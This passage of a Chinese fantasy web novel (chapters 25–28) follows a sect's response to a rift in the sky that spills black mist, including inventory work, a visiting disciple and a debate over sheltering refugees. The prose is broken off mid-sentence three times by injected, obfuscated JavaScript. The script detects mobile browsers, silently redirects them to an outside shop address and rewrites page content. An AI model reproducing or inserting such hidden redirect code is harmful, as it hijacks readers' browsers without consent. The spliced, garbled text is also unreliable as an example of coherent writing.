“二师兄,三师兄,不好了!不好了!!”云朵努力控制着盈盈剑下降,嘶声朝下喊。 夏南烛和季来之都被她的声音惊醒,见她六神无主的样子,连忙问:“发生了什么,你怎么这么慌张?” 云朵从剑上跳下来,踉跄了一下,颤着手指,指着远处,哆哆嗦嗦地说: “天,天破了!” 25. 谁怜苍生苦(1) “天破了?” “什么意思?” 云朵边用手比划着,边颤声解释:“那边的天红得滴血,裂了几条缝,那裂缝变宽之后,就变成了破洞,还往外冒黑雾!” 夏南烛和季来之听完,皆是神色一凛,赶忙御剑上升。 云朵站直身体,深深呼吸,也翻身上剑。 再次看到天上的场景,云朵依然冒出了冷汗。初见时,那黑雾只如墨汁滴进清水,她不过下去叫醒二位师兄,黑雾竟已染透半壁天穹。有修士踏云而起,剑光如匹练,像夜空中的星光,在黑雾中闪烁着,若隐若现。 “师兄……”季来之的声音竟有些颤,他指着天上黑洞洞的口子,问夏南烛,“浮云宗,不就在那个方向吗?” 夏南烛的脸色白得快和衣衫融为一体了,他从怀中掏出一张传送符,对季来之和云朵说:“跟紧我,我们回宗。” 一阵蓝光过后,他们出现在了浮云宗大门前。几个恰好在大门处的弟子见了他们,赶忙行礼。 夏南烛问道:“这异象是如何出现的?宗门中可有人受伤?” 其中一个弟子回道:“回二师兄,我们也不太确定这异象如何发生,我们在大门处打扫,就听见天上传来几声异响,再抬头时,见天上红光大盛,隐隐有几道裂缝,不出一息便长成了个大洞。” 云朵道:“没错,这跟我看见的一样。” 那弟子继续道:“宗门中的弟子目前无人受伤,只是被这异象吓到了,有些慌乱,现在师兄师姐们回宗,想必能让大家安心不少。” 夏南烛点头,面色却不见轻松。 季来之见状,小心翼翼地问道:“师兄,你是发现了什么吗?” 夏南烛眉头紧蹙,缓缓道:“天破处虽不在宗门上空,但其所在正好位于浮云宗与其他仙门之间,若黑雾进一步扩散,将会阻断我们与外界的联系,届时我们将处于孤立无援的境地。” 那弟子一听到这儿,顿时慌了:“可……已经有一些修士赶过来,去压制那些黑雾,只不过……” 季来之接话道:“只不过那黑雾无所定形,劈砍戳刺都奈何它不得。” 弟子道:“三师兄已经与那黑雾交锋过了吗?” 季来之:“是啊,还不止一次呢。” 弟子:“那黑雾可会伤人?大师兄也去了……” 夏南烛失声道:“你说什么?!” 那弟子从没见过清清冷冷的二师兄这般失态,缩了缩肩膀,小声回答:“大师兄本来在宗内坐镇,但他见有修士投身于黑雾,便说‘浮云宗虽人丁不旺,却也是仙门中一员,灾难面前,岂可袖手旁观。’然后就出去帮忙了。” 夏南烛闭上眼,长出一口气,问道:“大师兄可还交代了别的事?” 那弟子思索片刻,答道:“大师兄跟我说,二师兄你们回来后,若见势不妙,可开启护宗大阵。” 护宗大阵! 云朵内心翻起了惊涛骇浪。 那可是倾注了浮云宗代代宗主心血与法力的护宗阵法,距离上次启动已经有几百年了。看来这次异象非同小可,已经有可能威胁到整个人世间的危急存亡了。 夏南烛听到护山大阵,也变了脸色:“见势不妙是指?” 那弟子点头:“大师兄说,到了那时,二师兄自会知晓。” 夏南烛沉默片刻,从怀中掏出一沓符纸,分发给在场的弟子:“你们继续盯紧天破之处,有异动立刻用传音符通知我。” 那些弟子收了符纸,毕恭毕敬行礼:“是,二师兄。” 夏南烛嘱咐完宗门处的弟子,又交代季来之和云朵:“你们两人,分头去找其他弟子,将他们疏散到聚散堂。” 云朵和季来之连忙应下,跟季来之简单分了下工,开始分头寻人。 大约一个时辰后,除了在护山大阵处待命的弟子,宗内所有人员都已经聚集在聚散堂前面的广场上了,每个人的脸上都带着不安。 夏南烛、季来之和云朵站在殿前的台阶上,和他们一起凝视着天空中的黑洞。洞口已经停止了扩张,但黑雾还在源源不断地蔓延出来,把半边天空都染得灰蒙蒙的。 云朵望着在黑雾中若隐若现的各色人影,攥紧了交握的手指,她的大师兄就在那些人中,不知道有没有受伤。还有更多的修士从远处赶来,加入对抗黑雾的队伍,但他们的出现也只是增加了一些零星的色彩,并没有对黑雾产生多大影响。 她担忧地问夏南烛:“二师兄,大师兄他不会有事吧?” 夏南烛抿紧嘴唇,半晌后才低声道:“……我不知道。” 云朵这才察觉到,夏南烛也在不安。 她眨了眨因为长久盯着天空而干涩的双眼,发现夏南烛眉头紧锁,嘴唇发白。 大师兄不在,主持工作的重任自然就落到了夏南烛身上,但纵使夏南烛平日里总是一副少年老成的稳重模样,在面对这种百年难得一遇的异象时,也会心里没底啊。明明内心慌乱,却不能言明,只能强撑着,绷着心中的弦,等待着转机的降临。 忽地,天空中乍起一道青光,一个青色的光团驱散周围的黑雾,挂在天空中,犹如一轮新生的太阳。 殿前的弟子们看见这团刺眼的光,阵阵惊呼道: “看,那是什么!好刺眼的光!” “这个阵仗,这是哪家长老出手了吗?” “太好了,我们是不是有救了!” 在此起彼伏的讨论声中,那青色光团光芒更盛,无数符线自光团中心激射而出,织成一面青色法阵,阵纹明暗交替闪烁,法阵边缘恰好咬住空洞边缘。原本逸散的黑雾发出尖啸,化作千丝万缕被倒卷而回,鲸吸百川般灌入阵心,收拢隔绝在法阵的另一侧。 “成功了!天上的洞被封印住了!” “那些黑雾也被吸回去了!” “我们得救了!” “好惊人的灵力,这么大、这么复杂的阵法,十个我也供不起啊!” 欢呼声从殿前的人群中传来,站在台阶上的三人却都缄默不语。 如此繁复的法阵,也仅仅只能暂时控制事态,挣得片刻喘息机会,现在远不是庆祝劫后余生的时候。 云朵扭头看向夏南烛,发现他的脸色比之前更加苍白。 她悄悄往夏南烛的方向挪了挪,轻声问道:“二师兄,你是身体不舒服吗?你的脸色看着好差。” 夏南烛垂下眼帘,摇了摇头。待他再次抬眼,用灵力送出的命令已传向整个宗门:“护阵弟子听令,开启护宗大阵!” 话音落地,全场静默。 夏南烛的话像是一盆冰水,浇熄了热烈的讨论。 云朵也有些吃惊:“二师兄?” 夏南烛没有应,只是目光扫视着广场上的人群,缓缓道:“天上的阵法只能起到暂时的抵御作用,只要无法令空洞弥合,黑雾就会持续侵入。不知天上的法阵还能抵御多久,开启护宗大阵,至少能保我浮云宗的安危。” “那……大师兄回来时,还能进来吗?”云朵问道。 夏南烛顿了一下,道:“护宗大阵一直是大师兄在维护,他若想进来,自有办法。” “护宗大阵既已开启,诸位便不用聚集在此,各自回到各处待命吧。” 得到夏南烛的准许,广场上的人群逐渐散去,只剩下他们师兄妹三人还伫立在白色台阶上。 云朵看着天上缓缓旋转的青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062185|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色法阵,心中的不安并没有减少。 “二师兄,接下来我们要怎么办?” 夏南烛叹了口气,云朵觉得他今天叹气的次数有些多。 “静观其变。后续随时可能发生意料之外的事,你们二人轮流随我在聚散堂值守。” “来之,今天你先随我来,岁宁明天再来替来之。” 他们二人郑重应下,季来之跟着夏南烛转身进了大殿,云朵独自往外走。 浮云宗虽然不如那些大宗门人多,但平日里走在路上,也总能路过三三两两的弟子。但现在天有异象,人心惶惶,她走过的地方竟都空无一人。 云朵不太想回到歇云处,那里现在也是冷冷清清的。她在宗门中漫无目的地徘徊,不知不觉间就来到了焦香轩。 焦香轩一直是浮云宗最热闹的地方,宗门中的弟子多是半大的孩子,正是长身体的年纪。所以,就算不在饭点,也总会有一群弟子跑到焦香轩翻找吃的,来填满他们无底洞一般的胃。后厨的大娘们也乐意宠着这些孩子们,现成的不够吃或者不合胃口,她们还会再做一点。 而如今,这里变得空无一人,只有风声呜咽着穿堂而过,如泣如诉。 “喵——” 云朵低头一看,见雪团正趴在草地上,睁着一双湿润的眼睛望着她。 云朵眼神一亮,三步并作两步走到它面前,蹲下身来,将它捞进怀里。 自从雪团来到焦香轩,深受宗门内大家的喜爱,很多人慕名前来一饱手福,撸完毛毛就顺手投喂它一点小零嘴。 “小雪团呀小雪团,现在大家都不来这里了,你很寂寞吧?”云朵一边跟雪团说话,一边用手从雪团的头一路撸到后背,“你放心吧,现在天上的洞已经被封住了,护宗大阵也已经打开了,咱们很安全。” 但安全也是暂时的,不知道天上的法阵能坚持多久,也不知道之后该何去何从。 如果天上的法阵被攻破了,还能有人再把它开启一次吗? 没有了天上的法阵,宗门的防护大阵能坚持多久呢?阵破之后,大家应该往哪里逃?会有人受伤吗?会不会有些人,以后就再也见不到了? 虽然有三师兄帮忙,但二师兄要面对这么复杂的状况,也不知道现在所做的努力都有没有用,他会迷茫吗?会不知所措吗?自己又能帮上他什么忙呢? 要是大师兄在就好了,感觉这个世界上没有他解决不了的事情。 ……大师兄什么时候回来呀? 云朵心里有事,手上的动作断断续续,有一搭没一搭地撸着雪团洁白柔软的毛。雪团仿佛也感受到云朵的不安,只乖乖地趴在她怀里,任由她搓扁揉圆,偶尔发出轻柔细软的叫声。 “哎,在这里想些有的没的也没用。”云朵下定决心后,把雪团轻轻放在地上,喃喃道,“虽然不知道我能派上什么用场,但我再怎么说也是浮云宗内门四弟子,在这里伤春悲秋可不像话。既然二师兄让我和三师兄轮流帮忙,那我现在的任务就是好好休息,养好精神,明天去替三师兄的班。” 雪团趴在地上,依旧用圆圆的眼睛望着她,即便听不懂她的话,也在当一个安静的倾听者。 云朵说完,站起身,抖了抖蹲得酸软的腿,向它道别:“再见啦,雪团!我之后可能会很忙,可能有段时间都不能过来看你、跟你玩了。但是你放心,一旦我忙完,我马上就会带着你最喜欢的小鱼干来看你的!” 雪团似是明白了她的意思,“喵——”地叫了一声。 “希望我们下次见面时,是在一个风平浪静的日子!” 说完,云朵沿着路一口气跑回歇云处,进了屋,把自己摔进床里,蒙上被子,强迫自己沉入梦乡。 26. 谁怜苍生苦(2) 第二天天光未亮时,云朵已洗漱收拾完毕,到聚散堂替季来之的班。 一进门,就见夏南烛端坐于桌后,右手执笔,在纸上飞快地写着什么,面色凝重。云朵打量了一圈屋内,却不见季来之的身影。 “二师兄,三师兄去哪儿了呀?不是要他给你打下手吗?” 夏南烛恍然抬头,像是刚察觉到她来了,放下笔,揉了揉额角,回道:“岁宁,你来得正好。来之去后山清点库存了,你过去替他吧。” 云朵见夏南烛精神不济,声音也哑哑的,担忧道:“二师兄,你要不要也歇一歇?现在宗里看上去也没有什么大事,稍微睡一会儿吧。” 夏南烛摇头:“现在远未到能安心休息的时候,你先去吧,我无大碍。” 云朵见劝不动他,只好应下,一步三回头地出了聚散堂。 浮云宗后山与其他地方相比,本就人烟稀少,现在这种情况下更是显得清寂。 云朵从盈盈剑上跃下。护山大阵的阵纹在浮在空中,青色的光缓缓流转。她推开仓库朱红色的大门,一股陈年的檀木与丹硝味扑出来,呛得她咳了两下。抬眼看去,就见室内摆放着大大小小的木箱,季来之正领着三四个弟子在箱子中一边翻找,一边用笔在纸上记录。不知道他在这地方摸爬滚打多久了,往日红的耀眼的衣服粘了不少灰尘,暗淡不少。 “三师兄,我来替你了!” 季来之闻声抬头,看见来人之后,扯了个与平日别无二致的笑容出来:“哟,师妹,我还以为你会赖会儿床,没想到这么早就来了。” 很好,别无二致的除了笑容,还有嘴欠。 云朵握紧了拳头,看在季来之忙活了一天,灰头土脸的份上,还是忍住了给他头上来一拳的冲动。 “都发生这么大的事了,我就是再爱赖床,也是能分得清轻重缓急的好吧!” 季来之欣慰道:“真不错啊,师妹终于长大了!” 云朵怒道:“我看你精神头好得很,看上去不用我替班了,我走了!” 季来之忙过来拦她,哭丧着一张脸卖惨:“别走呀!我这不是看这两天气氛格外凝重,开个玩笑活跃一下嘛!你都不知道,我从昨天到今天一直泡在这里吃灰,腰都快弯得直不起来了!你的出现对于我来说简直是久旱逢甘霖,他乡遇故知,我都快感动哭了!” 云朵道:“那你就别在这贫嘴了,先跟我说说你清点得怎么样了,咱们两个对完,你就能回去休息了。” 季来之从身旁的弟子手中拿过库存清单,上面写着密密麻麻的字。 “我把咱们仓库里的物品分成了四类:灵石、丹药、符箓、灵器。灵石和灵器我之前已经清点完了,情况都写在这账册里了。丹药数量最多,我打算放在最后清点。符箓我刚清点了一半,你就来了,不过清洁符、传讯符和照明符我也都点完了,剩下的就交给你啦。” 云朵接过清单,看着上面按照季来之说的类别,清清楚楚地列着宗门的库存情况,不由赞叹道:“没想到师兄你平时不着调,这种时候还是很靠谱的嘛!” 季来之不满道:“我一直很靠谱的好吗!” 云朵重重点头,视线粘在册子上,如数家珍地翻旧账:“是呀,之前你自告奋勇帮我买糕点,大晚上偷溜出去,结果回来的时候翻墙动静太大,被二师兄逮住了,还把我供出来,害我跟你一起受罚,真是太靠谱了!” 站在季来之身后的弟子们没憋住,“噗”地笑出声。 季来之扶额道:“这种小事无伤大雅啦!你就说,关键时刻我什么时候掉过链子?” 云朵沉思,发现无论是比武大会,还是他们身陷险境时,季来之的表现都很靠得住。 “嗯,这个我承认,你关键时刻很靠谱。” 季来之骄傲地拍了拍胸膛:“那当然,我可是很可靠的!” 云朵白了他一眼:“那可靠的三师兄,你的工作都交接完了吗?是否可以回去休息了?” “好,那我就走了,有什么问题可以问他们,我之前带着他们清点了不少内容,他们都熟。”交代完,季来之打了个哈欠,双手交叠放在头后,晃悠着走了。 ----------------- 清点库存的工作,做起来繁琐,但并不复杂,纯粹是体力活。 他们清点完符箓时,日头正盛。若是往常,他们肯定要先放下手头的工作,结伴去焦香轩饱餐一顿。可如今危机高悬头顶,不知道何时就会降临,他们必须争分夺秒。 云朵金丹已成,不进食也没什么影响,但跟着她的几个外门弟子已经饿得前胸贴后背了。她在账本上记录完符箓的库存情况,对他们说:“你们要不然先去吃点东西吧,丹药我先自己理着。对了,你们不会从昨天就跟着三师兄在清点,到现在都没有休息吧?” 其中一个弟子答道:“现在宗门内人手不够,跟着师兄师姐们清点库存的就我们几个人,我们几个轮流休息就行,不能耽误了正事。” 云朵道:“我现在精神头足着呢,就你们吃个饭的工夫,我自己能应付得来。虽然知道你们怕耽误正事,但也不能完全不顾自己吧?饿了就吃饭,累了就休息,身体最要紧。现在这种情况,少一个人对我们来说都是莫大的损失。”说完,见那几个弟子你看看我,我看看你,神色依然犹豫,却没人动作,只得板起脸道,“赶紧去!这是命令!” 几个弟子见她都这样说了,连忙应下,急匆匆去吃饭。 偌大的仓库只剩云朵一人,她用手挥开空气中的灰尘,开始清点仓库中的丹药。 因为夏南烛的关系,浮云宗最不缺的就是丹药。夏南烛无事时总是泡在丹药房,炼成的丹药全部入库。浮云宗的丹药库存除了满足宗门弟子的日常开销,还能时不时分发给附近城镇的普通人,每次有弟子出门游历,都会带上一些,遇到有伤病的百姓就分给他们几颗。 云朵随手打开一个木箱,里面摆放着许多小箱子,每个小箱子里都放着不同颜色的丹药。云朵整理完两大箱丹药时,外门弟子们吃完饭回来了,见云朵还在忙活,他们也立刻开始工作,两个人在云朵身边帮忙,另外的人去其他角落看还有没有落下的。 一时间,仓库里只有翻找木箱和写字的声音。 不一会儿,一个在角落里查看的弟子喊道:“云师姐,这里有个单独的玉匣,不知道里面有什么!” 玉匣? 云朵把手里的东西递给身边的弟子,朝说话人的方向走去。那弟子见她来了,向旁边让出一步,手指着角落里的躺着的莹白玉匣。 云朵见那玉匣有几分眼熟,思索片刻,恍然大悟道:“这不是三师兄比武大会夺冠的奖品吗!我记得他回来之后把这玉匣给了大师兄,怎么会放在这里?” 几个门外弟子也是一脸茫然。 云朵将玉匣收入储物袋,道:“先接着整理吧。” 当最后一笔落下后,云朵揉了揉酸痛的肩膀,又将之前所有记录的纸张合并到一起,抱在怀里,对其余弟子道:“辛苦各位,今天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云朵看着夏南烛的眼睛,感觉在注视两汪幽深的寒潭。她自觉失言,夏南烛在勉励支撑,她却问大师兄何时回来,于情于理都不妥。她刚想开口道歉,却被闯入的弟子打断。 “二师兄,宗门外有一个自称霁华宗弟子的人求见,要放他进来吗?” 夏南烛道:“他可有自报姓名?” “他说他叫林星遥。” 云朵听到来人姓名后,吃了一惊,这不是跟季来之在比武大会上交过手的那个符修吗?怎么会在这种时候不说守着霁华宗,反而千里迢迢跑到他们这儿来? 夏南烛皱眉思索片刻,道:“让他进来吧。” “是!” 很快,一个身着白金长衫的修长身影迈步进入聚散堂,脸上挂着一贯温和的微笑,头发却与比武大会时不同,用金色发带在脑后扎成马尾,给他温润的气质添了些凌厉。 林星遥停在离他们五步的距离,向二人行礼:“霁华宗林星遥,见过夏公子、云姑娘。” 夏南烛道:“林公子不必多礼,不知林公子此时来浮云宗,所为何事?” 林星遥道:“天有异象,我宗宗主见空洞位置离浮云宗很近,担心贵宗被波及,孤立无援,派我过来支援。” 夏南烛听罢,垂下眼帘:“华宗主大义,日后有机会,我必当面感谢。” 林星遥笑道:“夏公子客气了,这是我们应该做的,若有什么需要帮忙的,还请告知我,我必定竭力相助。” 夏南烛道:“如林公子所见,我宗大阵已开,暂时没有什么要紧的事。林公子远道而来,不如先安顿下来,再做打算。”他转头看向站在一旁的云朵,“岁宁,你先带林公子去客房吧。” 云朵原本杵在一旁,听他们两个聊得有来有回,但碍于礼节,不便插嘴,只能用目光在二人之间往复来回。这下突然被点到名字,总算是有了发挥空间,她端正地朝夏南烛行了一礼,应下这门差事,然后领着林星遥走出聚散堂。 27. 谁怜苍生苦(3) 云朵与林星遥从聚散堂出来,一路向客房而去。云朵在前面领路,途中遇到了几波巡山弟子,同他们一一打过招呼。 “云姑娘虽然小小年纪,但在宗门中的地位很高呢。”背后传来林星遥的声音。 云朵听着这话觉得别扭,但回头看去,见林星遥眉目含笑,脸上完全没有类似于嘲讽或者戏谑的表情,只得答道:“我是内门弟子,所以虽然年纪比很多外门弟子小,按照规矩,他们却也得叫我师姐。其实我也觉得怪别扭的,也跟一些人私下说过直接叫我名字就好,但他们还是不改口。时间长了,我也就习惯了。” 林星遥道:“但我看得出来,他们称你为师姐,不是囿于规矩,是真的从心底敬佩你。” “是、是吗?”被他这么一说,云朵反而有点不好意思了,“我倒是觉得平时基本都是他们在帮助我,我好像也没帮上他们什么忙……” “也许你在无意中帮助了他们很多呢。”林星遥笑着说道,眼睛弯弯,“感觉你们之间关系很好,内门弟子和外门弟子之间没有太大的差别,像一家人一样。” “是呀,毕竟宗门的建设只靠我们四个内门弟子,肯定是忙不过来。”云朵回完话,有些疑惑,“难道霁华宗不是这样的吗?你们内门弟子和外门弟子之间关系不好?” 林星遥歪头思考了一下,回道:“嗯……也不能算关系不好,但相处模式确实和你们有差别。” 云朵好奇道:“那你们跟外门弟子之间怎样相处?” 林星遥道:“我们跟他们之间的关系,更像是主仆?通常洗衣、做饭、采买这类工作都是外门弟子在做,每天也会有专门负责清扫的弟子帮我们打扫卫生。我们这些内门弟子,基本只专注于修炼,其他杂活全都交给外门弟子就好。” 云朵有些难以置信:“洗衣服和打扫屋子也要他们来干吗?那确实是不太一样。而且霁华宗那么大,内门弟子数量又多,外门弟子们岂不是整天都在做这些杂事,都没什么时间修炼了?他们帮你们干活,有什么额外奖励吗?” 林星遥苦笑道:“的确,宗主和长老们都默认外门弟子没什么修行天赋,招进来就是来做杂活的,所以……” 云朵对他的说法不太赞同,摇了摇头,严肃道:“没有人天生就是应该做杂活的,我大师兄说过,每个人都会有自己擅长的事情。比如有些弟子做饭很好吃,他们就会去焦香轩帮厨。我们吃到好吃的饭菜,也会送他们一些礼物,像手头没用完的丹药符箓,或者外出游历时带回来的纪念品。有些弟子擅长打理植物,他们就会每天去药圃照料灵草,每个月领丹药的时候他们就能多领一些。每个人都有地方发挥自己的长处,不想发挥也没关系,全凭自身意愿。” 林星遥睁大了眼:“难怪你们相处得像一家人,多劳者多得,这非常公平。” 云朵道:“非常公平倒是不敢说,但至少我们不会强迫别人做不愿做的事,对于愿意为大家服务的人,也会给一些奖励,这样大家干活的时候才会有动力嘛!” 二人一路走,一路聊,走过一条蜿蜒的青石小径,一片错落有致的房屋映入眼帘。 “这片都是我们宗门的客房,远离聚散堂、练武场这种闹哄哄的地方,但是离焦香轩不远。为了照顾南边来的客人,当初修建时还特意挖了个湖,湖水都是这山顶冰雪消融后的冰水。”云朵指着水面如镜的湖泊,介绍道,“林公子看看,你是更喜欢湖边的屋子,还是不临湖的呢?” 林星遥眨眨眼,目光扫过一间间屋舍,最终停留在一间矗立在湖边,背靠山体的屋子。 “就这间吧。” 云朵随着他手指的方向看过去,不禁乐道:“不愧是霁华宗弟子,眼光就是好。这间屋子依山傍水,推开窗就是湖景,这居住条件比我们内门弟子的居所都是只高不低的。” 林星遥睁大眼睛,不太相信道:“浮云宗内门弟子的住所是什么样的?为何条件还不比客房?” 云朵不好意思地挠了挠头,回道:“我们内门弟子就四个人,住在一个独立的院子里,也没有客房这边的风景好,但是胜在热闹呀!客人远道而来,要是提供的住处太寒酸,也拿不出手不是!” 林星遥“噗”地笑出了声,见云朵面色有点窘,努力止住了笑意道:“抱歉,我只是没想到,浮云宗向来与世无争,也会在意面子。” 云朵弱弱地反驳:“也只是居住条件上啦,平日里吃穿用度可是从来没亏待过我们的!”说罢,她突然想起什么,一拍脑门,“哎呀!光顾着跟你聊天,我都忘了正事了!我们宗门地处偏僻,平日少有来客,客房这边打扫得不勤。”她用手指着湖畔的亭子,“林公子,麻烦你先去那边稍坐,我去帮你收拾一下屋子。” 林星遥道:“怎么好意思麻烦云姑娘,我自己来便可。”说完,便要向选中的那间屋子走去。 云朵大惊,赶紧拦住他:“别别别!千万别!要是被师兄知道我让林公子你亲自打扫屋子,我估计这周都得在祠堂度过了。” 林星遥不解道:“为什么呀?” 云朵解释道:“这是我们宗门的规矩,犯错了就要被罚跪祠堂。我二师兄,就是现在主持宗门大事的那位,他本就是掌罚弟子,我们跪多久都是他说了算的。” 大概霁华宗是真的对内门弟子格外宽容,林星遥似是难以理解般地张了张嘴,却说不出什么。 云朵趁热打铁,劝道:“所以为了我的膝盖骨,请林公子看在我给你带路、陪你闲聊的份上,去亭子那里坐坐,我很快就收拾好!” 说完,她生怕林星遥变卦,把人撂在原地就急匆匆地冲向林星遥选中的那间客房。 推开门,里面果然不像是当天打扫过的样子,虽然不至于尘土飞扬,但用手指抹过窗台和桌面,能够感受到薄薄一层细灰。云朵甩出几张清洁符,又从柜子里拿出干净的被褥铺上,屋子里边边角角的地方也都被她一一检查、打扫过。 大概折腾了一炷香的工夫,云朵看着窗明几净的屋子,十分满意地擦了擦头上的汗,转身出门寻人。 暮色渐沉,金红温柔地泼洒在浩渺的湖面上,一座古朴的八角亭子静静地伫立在湖边。 亭内,一位锦衣公子凭栏独坐。 林星遥身着霁华宗的白金色长衫,一手闲适地搭在栏杆上,另一只手搁在膝上。斜阳的余晖仿佛格外垂青于他,泼洒的暖黄色镀得他眉眼温柔,眸光澄亮。他的视线略过波光潋滟的湖面,穿过覆雪苍山,投向浮在天际的云。他静默地看着,眼底映着长天的余晖与云影的游移,神情专注而平和。 云朵站在远处看着,有些不忍打破这幅美景,内心不禁感叹: 这位林公子,虽然修为赶不上师兄们,但在外貌这一块却是一等一的好啊,光是坐着就跟一幅画似的。这么说来,总觉得林公子的气质有些像大师兄,但是大师兄要更沉稳可靠一些。唉,不知道大师兄什么时候才能回来…… 两个人就这么默默地,一个站着,一个坐着,各自发呆。时间缓缓流过,最终还是林星遥回过神来,发现了站在不远处的云朵。 “云姑娘,可是已经收拾好了?” 云朵被他的话音惊扰,收回神思,点点头道:“对,林公子千里迢迢从霁华宗赶来,一定累了吧?快去休息吧,我在屋里留了传讯符,缺什么东西都可以通过传讯符告诉我!” 林星遥笑着点头:“辛苦云姑娘了,你看上去也很疲惫,也快去休息吧。” 云朵摸了摸自己的脸,小声道:“啊,有这么明显吗?” 林星遥道:“同比武大会时相比,你的气色明显差了,也不如那时活泼,想必是累坏了吧。” 云朵这下是真的吃了一惊:“那时候你居然对我有印象?” 林星遥笑意更深了:“当时你们跟季公子形影不离,我想不注意到很难吧?” 云朵想了想,好像确实每场比试,她和夏南烛都在场下观战。夏南烛还好,毕竟曾经拿过冠军,见过大世面了,她可是每场都看得提心吊胆,估计当时脸上的表情很丰富吧。 林星遥见她不说话,脸上的表情变幻莫测的,哈哈一笑,向她行了一礼:“云姑娘快回去休息吧,顺便也代我向夏公子道谢。” “哦,好,那我就不打扰林公子了,你好好休息。”云朵回礼,转身向聚散堂走去。 ----------------- 这样忙碌的日子又过了几日,宗门中的各项事务逐渐走上了正轨。大家也都习惯了天上异象的存在,不再像一开始那样整天紧绷精神。浮云宗内的气氛逐渐又恢复了之前的热闹。 林星遥虽以帮忙的名义来到浮云宗,但涉及到宗门内务的事情不便让他插手,他平日在霁华宗又是十指不沾阳春水。夏南烛思来想去,只得让他带着一队弟子巡山,或是跟着去外出采买。 浮云宗的弟子们一开始不太好意思跟这么个风光霁月的公子说话,但相处时间久了,发现林星遥虽然外表华贵,内在却彬彬有礼、温和谦逊,所以也逐渐地和他打成一片。谁弄出来点好吃的,寻到点新奇玩意儿,也乐意给他一份。林星遥每次都眼睛亮亮地道谢,又想起霁华宗那森严的内外门制度,不由得在内心叹气。 这日,又轮到了云朵值班,她御剑巡山,检查了几个护山大阵的关键节点,发现并无异常,就想着回聚散堂帮夏南烛处理点文书工作。 还没进门,她就看见林星遥和一队外门弟子站在堂中,正和夏南烛商量着什么。 “二师兄,林公子,你们在说什么呀?有需要我帮忙的吗?” 夏南烛见她来了,也不打算避讳,答道:“林公子他们巡山时,遇见了一波上山避难的百姓,我们在商讨如何帮助他们。” 百姓?最近的城镇离浮云宗都有百里路程,受灾的百姓一路逃到这里,不知吃了多少苦头。 林星遥道:“夏公子,我还是认为,提供一些日常用品给他们即可。这批灾民都是青壮年男子,后面也许还有老幼妇孺,若是全盘接收,将会大大增加浮云宗的日常开销。现在这种情况不知要持续多久,以浮云宗现在的体量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林公子,岁宁她心性单纯,心直口快,若是言语上有冒犯,还请见谅。”夏南烛向着林星遥拱手一礼,“但我认为她的想法没错,这也正是浮云宗一直以来的原则。林公子为浮云宗的利益考虑,我们非常感激,但……”他目光一凛,心意已决,“倘若今日我们见死不救,他日我们有难,是否也会像如今这些灾民一样,被‘活下去对这天下更有利’的人放弃?这世界本就是由芸芸众生构成的,孤身自保,无异于自掘坟墓。” 林星遥仿佛被他们师兄妹的话震撼到了,眼睛闪烁几下,垂下头不语。 夏南烛见他听进去了,也缓和了神色,对殿内的外门弟子道:“你们去将他们放进来,暂时安置在客房,询问一下他们的职业和特长,若有合适的工作,可以让他们跟着打下手。此外,不要让他们接近大阵的节点,以免他们无意中扰乱阵中灵力流向。” “是!”弟子们领命,出了大门。 安排好工作,夏南烛又将目光移回至尚在殿内的二人身上。云朵抬头,见夏南烛盯着她,用眼神向林星遥的方向示意。 这是要她先跟客人服个软呢。 云朵刚才那一通慷慨陈词,纯粹是热血冲上了头,冷静下来之后,觉得林星遥的方案的确冷血,但出发点还是为浮云宗考虑。只不过,他毕竟在霁华宗那种等级森严的地方待了十几年,已经接受了那套凡人无用的行为准则,所以提出的建议才会和浮云宗的行事风格格格不入。 经过刚才的争辩,他在思想上应该也受到了不小的冲击,此时垂头丧气地站着,竟显出一丝可怜来。 云朵闭眼,压下心头的那点尴尬,艰涩开口道:“抱歉,林公子,我刚刚太激动了……” 林星遥勉强挤出一个笑容,道:“不,是我之前考虑不周,云姑娘一语点醒梦中人,我感谢云姑娘还来不及。” 林星遥非但没怪她无礼,还要感谢她,反倒让她不知道怎么接话了。 “林公子,岁宁,今日的事,多亏你们帮我出谋划策。”夏南烛出言,打破了凝滞的气氛,“后续安置受灾百姓的工作,还需要你们帮忙。” 林星遥拱手道:“若需要帮助,请夏公子不用客气,星遥必全力相助。” 云朵赶紧跟着拱手,脆生生道:“我也是!” 得了他们的承诺,夏南烛朝他们点了点头。 “今日都辛苦了,早些回去歇息吧。” 二人向夏南烛告辞,云朵转身时,目光扫过夏南烛沾染了尘灰和墨渍的袖口,想着他或许这几日都不曾真正休息,不由关切道:“二师兄也快去休息吧,就算你已经进入元婴期了,这样熬也受不住呀!” 夏南烛闻言先是一愣,随即嘴角弯出一个浅浅的弧度。 “多谢岁宁挂心,我处理完这批文书就去。” 云朵拗不过他,只好行礼离去。边走边在心里嘀咕:刚刚二师兄是笑了吧?这好像还是天破之后,第一次见他笑呢。是不是说明,情况在好转? 步出大殿,晚风一吹,云朵打了个激灵。她回头望去,见夏南烛坐在书案后,静默地等待着下一个黎明。 28. 谁怜苍生苦(4) 第二天,云朵又出现在了聚散堂。 按照夏南烛的规划,她和季来之轮班来聚散堂帮忙即可,另一天可以自由活动。所以当见到云朵时,夏南烛和季来之都有些吃惊。 云朵的反常让季来之有些摸不到头脑,他掰着手指头数了数,问道:“师妹,你怎么来了?我应该没算错日子吧?今天是我值班吧?” 